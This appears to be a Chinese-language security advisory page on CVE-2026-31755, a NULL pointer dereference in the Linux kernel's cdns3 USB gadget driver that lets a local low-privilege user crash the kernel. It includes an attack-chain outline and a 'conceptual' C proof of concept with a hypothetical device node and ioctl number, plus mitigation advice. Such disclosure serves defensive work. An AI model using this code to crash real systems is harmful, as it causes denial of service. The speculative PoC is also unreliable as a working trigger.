IPBUF安全漏洞报告
English
CVE-2026-31755 CVSS 5.5 中危

CVE-2026-31755 Linux内核空指针解引用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31755
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoSLocalUSBcdns3

漏洞概述

Linux内核的usb: cdns3: gadget组件存在空指针解引用漏洞。当gadget端点处于禁用或未配置状态时,ep->desc指针可能为NULL。此时若调用__cdns3_gadget_ep_queue()函数,将导致内核崩溃,引发拒绝服务。

技术细节

该漏洞源于Linux内核Cadence USB3控制器驱动程序(cdns3)的gadget端点处理逻辑。在__cdns3_gadget_ep_queue函数的实现中,代码直接使用ep->desc指针来获取端点描述符信息,但未预先验证该指针的有效性。在特定场景下,例如当USB gadget端点被禁用或尚未完成配置时,ep->desc指针会被初始化为NULL。此时,如果用户空间程序尝试通过USB gadget接口进行数据传输操作,内核将调用该有漏洞的函数。由于缺少对空指针的检查,内核会尝试解引用NULL地址,触发Page Fault异常,从而导致系统内核崩溃。该漏洞的CVSS向量表明攻击者需要本地低权限即可利用,主要影响系统的可用性。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限访问权限 (PR:L)。
STEP 2
步骤2
攻击者识别系统中存在cdns3 gadget驱动,并确定端点处于禁用或未配置状态。
STEP 3
步骤3
攻击者通过用户空间程序调用相关接口(如ioctl或文件操作),触发内核执行__cdns3_gadget_ep_queue函数。
STEP 4
步骤4
内核函数在未检查ep->desc的情况下解引用该NULL指针,触发内核异常并导致系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31755 * This is a conceptual representation of triggering the NULL pointer dereference. * It requires a system with the vulnerable cdns3 gadget driver loaded. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define GADGET_IOCTL_QUEUE 0x1 // Hypothetical IOCTL number for queueing int main() { // Open the gadget device node int fd = open("/dev/cdns3-gadget", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("Attempting to trigger ep_queue on unconfigured endpoint...\n"); // Perform an operation that triggers __cdns3_gadget_ep_queue // In a real scenario, this might be an ioctl or a write operation // when the endpoint is disabled (ep->desc == NULL). char data[32] = "trigger_data"; int ret = ioctl(fd, GADGET_IOCTL_QUEUE, data); if (ret < 0) { perror("Ioctl failed (expected if patched)"); } else { printf("Operation succeeded (vulnerable or endpoint active)\n"); } close(fd); return 0; }

影响范围

Linux Kernel < 6.6 (具体版本需参考Git提交记录)

防御指南

临时缓解措施
建议暂时限制非特权用户对USB gadget设备节点的访问权限,或禁用cdns3驱动模块,直至完成内核升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表